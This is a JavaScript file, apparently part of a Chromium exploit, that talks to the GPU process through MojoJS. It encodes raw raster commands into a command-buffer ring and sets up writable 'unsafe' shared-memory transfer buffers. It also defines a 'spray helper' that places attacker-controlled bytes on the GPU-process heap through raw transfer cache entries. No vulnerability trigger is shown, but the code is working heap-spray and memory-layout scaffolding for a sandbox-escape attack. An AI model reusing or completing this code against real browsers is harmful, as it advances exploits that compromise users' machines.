// raster.js — ring-buffer writer + raster_cmd encoders + transfer-buffer
// management for the MojoJS port. Loaded after gpu_channel.mojom.js.
//
// Layouts from gpu/command_buffer/common/{cmd_buffer_common.h,
// raster_cmd_format_autogen.h, raster_cmd_ids_autogen.h}.
'use strict';

// ─── shared-memory helpers ──────────────────────────────────────────────────
// MojoCreateSharedBuffer → kWritable; duplicateBufferHandle({}) calls
// ipcz SharedBuffer::Duplicate(read_only=false) which ConvertToUnsafe()s
// in-place. Both the original and the dup are kUnsafe afterward, so the
// dup deserializes as base::UnsafeSharedMemoryRegion on the GPU side.
function makeUnsafeSHM(size) {
  const r = Mojo.createSharedBuffer(size);
  if (r.result !== Mojo.RESULT_OK) throw 'createSharedBuffer: ' + r.result;
  const dup = r.handle.duplicateBufferHandle({});
  if (dup.result !== Mojo.RESULT_OK) throw 'dup: ' + dup.result;
  const map = r.handle.mapBuffer(0, size);
  if (map.result !== Mojo.RESULT_OK) throw 'map: ' + map.result;
  return {
    local: r.handle,
    send:  dup.handle,
    buf:   map.buffer,
    u8:    new Uint8Array(map.buffer),
    u32:   new Uint32Array(map.buffer),
    f32:   new Float32Array(map.buffer),
  };
}
function shmRegion(h) {
  return new mojoBase.mojom.UnsafeSharedMemoryRegion({buffer: h});
}

// ─── command header ─────────────────────────────────────────────────────────
// struct CommandHeader { uint32_t size:21; uint32_t command:11; }
// (cmd_buffer_common.h:43-45) — x86 LE bitfields → low 21 bits = size.
function CMD(id, sizeInEntries) { return (sizeInEntries | (id << 21)) >>> 0; }

// Common (cmd_buffer_common.h:173-181); raster (raster_cmd_ids_autogen.h).
const Cmd = Object.freeze({
  Noop: 0, SetToken: 1,
  Finish: 256, Flush: 257, GetError: 258,
  BeginQueryEXT: 261, EndQueryEXT: 262,
  BeginRasterCHROMIUMImmediate: 264, RasterCHROMIUM: 265, EndRasterCHROMIUM: 266,
  CreateTransferCacheEntryINTERNAL: 267,
  DeleteTransferCacheEntryINTERNAL: 268,
  UnlockTransferCacheEntryINTERNAL: 269,
  ClearPaintCacheINTERNAL: 274,
  ReadbackARGBImagePixelsINTERNALImmediate: 278,
});

// gpu/command_buffer/common/discardable_handle.cc:13-15
const kHandleLockedStart = 2;

// cc/paint/transfer_cache_entry.h:26-32
const kTCRawMemory = 0;

// ─── per-channel monotone counters ──────────────────────────────────────────
// flushDeferredRequests' second arg feeds SharedMemoryVersionController::
// SetVersion (gpu_channel.cc:421 → shared_memory_version.cc:92), which
// CHECK_GE()s monotonicity. Ring and SII MUST share this counter.
let __deferredId = 0;
// Transfer-buffer ids: monotone, id 0 = kInvalidSharedMemoryId.
let __nextXferId = 1;
function registerXfer(cb, bytes) {
  const shm = makeUnsafeSHM(bytes);
  const id = __nextXferId++;
  cb.registerTransferBuffer(id, shmRegion(shm.send));
  return {id, shm, bytes};
}

// ─── Ring: command-buffer ring writer ───────────────────────────────────────
// Owns the get-buffer SHM. All encoders write at `put` (entry index) and
// advance it. Wrap = Noop-pad to end then put←0; callers must finish() before
// the put pointer would lap get (we never pipeline that deep).
class Ring {
  constructor(chan, cb, route, bytes = 0x10000) {
    this.chan = chan; this.cb = cb; this.route = route;
    const x = registerXfer(cb, bytes);
    this.id = x.id; this.u32 = x.shm.u32; this.f32 = x.shm.f32;
    this.entries = bytes >> 2;
    this.put = 0;
    this.flushId = 0;
    cb.setGetBuffer(this.id);
    this.setBufCount = 1;
  }
  _alloc(n) {
    if (this.put + n > this.entries) {
      // Noop covers `skip_count` entries including its own header.
      this.u32[this.put] = CMD(Cmd.Noop, this.entries - this.put);
      this.put = 0;
    }
    const b = this.put; this.put += n; return b;
  }
  flushDeferred(extra = [], fences = []) {
    const af = new gpu.mojom.AsyncFlushParams({
      putOffset: this.put, flushId: ++this.flushId, syncTokenFences: fences,
    });
    const cbreq = new gpu.mojom.DeferredCommandBufferRequest({
      routingId: this.route,
      params: new gpu.mojom.DeferredCommandBufferRequestParams({asyncFlush: af}),
    });
    const reqs = extra.concat([new gpu.mojom.DeferredRequest({
      params: new gpu.mojom.DeferredRequestParams({commandBufferRequest: cbreq}),
      syncTokenFences: [], releaseCount: 0,
    })]);
    this.chan.flushDeferredRequests(reqs, ++__deferredId);
  }
  // Block until the GPU's get pointer has caught up to our put.
  wait() {
    return this.chan.waitForGetOffsetInRange(
        this.route, this.setBufCount, this.put, this.put);
  }
  // Emit Finish (glFinish on the service side) + flush + wait.
  async finish(fences = []) {
    const b = this._alloc(1);
    this.u32[b] = CMD(Cmd.Finish, 1);
    this.flushDeferred([], fences);
    return (await this.wait()).state;
  }

  // ─── encoders (raster_cmd_format_autogen.h) ──────────────────────────────
  beginQueryEXT(target, id, shmId, shmOff) {           // 5 entries
    const b = this._alloc(5);
    this.u32[b]   = CMD(Cmd.BeginQueryEXT, 5);
    this.u32[b+1] = target; this.u32[b+2] = id;
    this.u32[b+3] = shmId;  this.u32[b+4] = shmOff;
  }
  // 11 fixed entries + 16-byte mailbox immediate = 15 entries.
  beginRaster(rgba, needsClear, msaaCount, msaaMode, lcd, visible, hdr,
              mailbox /* Uint8Array[16] */) {
    const b = this._alloc(15);
    this.u32[b]    = CMD(Cmd.BeginRasterCHROMIUMImmediate, 15);
    this.f32[b+1]  = rgba[0]; this.f32[b+2] = rgba[1];
    this.f32[b+3]  = rgba[2]; this.f32[b+4] = rgba[3];
    this.u32[b+5]  = needsClear; this.u32[b+6] = msaaCount;
    this.u32[b+7]  = msaaMode;   this.u32[b+8] = lcd;
    this.u32[b+9]  = visible;    this.f32[b+10] = hdr;
    new Uint8Array(this.u32.buffer, (b+11)*4, 16).set(mailbox);
  }
  raster(rSid, rOff, rSz, fSid = 0, fOff = 0, fSz = 0) { // 7 entries
    const b = this._alloc(7);
    this.u32[b]   = CMD(Cmd.RasterCHROMIUM, 7);
    this.u32[b+1] = rSid; this.u32[b+2] = rOff; this.u32[b+3] = rSz;
    this.u32[b+4] = fSid; this.u32[b+5] = fOff; this.u32[b+6] = fSz;
  }
  endRaster() {                                          // 1 entry
    const b = this._alloc(1);
    this.u32[b] = CMD(Cmd.EndRasterCHROMIUM, 1);
  }
  createTransferCacheEntry(type, id, hSid, hOff, dSid, dOff, dSz) { // 8 entries
    const b = this._alloc(8);
    this.u32[b]   = CMD(Cmd.CreateTransferCacheEntryINTERNAL, 8);
    this.u32[b+1] = type; this.u32[b+2] = id;
    this.u32[b+3] = hSid; this.u32[b+4] = hOff;
    this.u32[b+5] = dSid; this.u32[b+6] = dOff; this.u32[b+7] = dSz;
  }
  deleteTransferCacheEntry(type, id) {                   // 3 entries
    const b = this._alloc(3);
    this.u32[b]   = CMD(Cmd.DeleteTransferCacheEntryINTERNAL, 3);
    this.u32[b+1] = type; this.u32[b+2] = id;
  }
  unlockTransferCacheEntry(type, id) {                   // 3 entries
    const b = this._alloc(3);
    this.u32[b]   = CMD(Cmd.UnlockTransferCacheEntryINTERNAL, 3);
    this.u32[b+1] = type; this.u32[b+2] = id;
  }
  clearPaintCache() {                                    // 1 entry
    const b = this._alloc(1);
    this.u32[b] = CMD(Cmd.ClearPaintCacheINTERNAL, 1);
  }
  // 13 fixed + 16-byte mailbox = 17 entries (raster_cmd_format_autogen.h:1213).
  // Result u32 at shm[shmOff+0]; caller zeroes it, GPU sets nonzero on success.
  readbackARGB(srcX, srcY, plane, w, h, rowBytes, ct, at,
               shmId, shmOff, csOff, pxOff, mailbox /* Uint8Array[16] */) {
    const b = this._alloc(17);
    this.u32[b]    = CMD(Cmd.ReadbackARGBImagePixelsINTERNALImmediate, 17);
    this.u32[b+1]  = srcX|0;  this.u32[b+2]  = srcY|0;  this.u32[b+3] = plane|0;
    this.u32[b+4]  = w;       this.u32[b+5]  = h;       this.u32[b+6] = rowBytes;
    this.u32[b+7]  = ct;      this.u32[b+8]  = at;
    this.u32[b+9]  = shmId;   this.u32[b+10] = shmOff;
    this.u32[b+11] = csOff;   this.u32[b+12] = pxOff;
    new Uint8Array(this.u32.buffer, (b+13)*4, 16).set(mailbox);
  }
}

// ─── XferPool: bump-allocator over a single registered transfer buffer ─────
// RasterCHROMIUM requires raster_shm_offset 16-aligned (raster_decoder.cc:2963).
class XferPool {
  constructor(cb, bytes) {
    const x = registerXfer(cb, bytes);
    this.shmId = x.id; this.shm = x.shm; this.bytes = bytes; this.cur = 0;
  }
  alloc(n, align = 16) {
    const off = (this.cur + align - 1) & ~(align - 1);
    if (off + n > this.bytes) throw 'XferPool OOM ' + n + '@' + off;
    this.cur = off + n;
    return {
      shmId: this.shmId, offset: off, size: n,
      u8:  new Uint8Array (this.shm.buf, off, n),
      u32: new Uint32Array(this.shm.buf, off, n >> 2),
      f32: new Float32Array(this.shm.buf, off, n >> 2),
    };
  }
  reset() { this.cur = 0; }
}

// ─── HandlePool: discardable-handle slots for CreateTransferCacheEntry ──────
// Each handle is one Atomic32; client initialises to kHandleLockedStart=2
// (discardable_handle.cc:71). ValidateParameters only checks 4-alignment.
class HandlePool {
  constructor(cb, count) {
    const x = registerXfer(cb, count * 4);
    this.shmId = x.id; this.u32 = x.shm.u32; this.count = count; this.i = 0;
  }
  next() {
    if (this.i >= this.count) throw 'HandlePool exhausted';
    const off = this.i * 4;
    this.u32[this.i++] = kHandleLockedStart;
    return {shmId: this.shmId, offset: off};
  }
  reset() { this.i = 0; }
}

// ─── spray helper ───────────────────────────────────────────────────────────
// CreateTransferCacheEntryINTERNAL(kRawMemory, id, …) → GPU-side
// ServiceRawMemoryTransferCacheEntry::Deserialize copies `bytes` verbatim into
// a fresh std::vector<uint8_t> (raw_memory_transfer_cache_entry.cc:55).
// Returns the XferPool slice so the caller can fill it before flushing.
function sprayRawTC(ring, xfer, handles, id, nbytes) {
  const d = xfer.alloc(nbytes);
  const h = handles.next();
  ring.createTransferCacheEntry(
      kTCRawMemory, id, h.shmId, h.offset, d.shmId, d.offset, nbytes);
  return d;
}
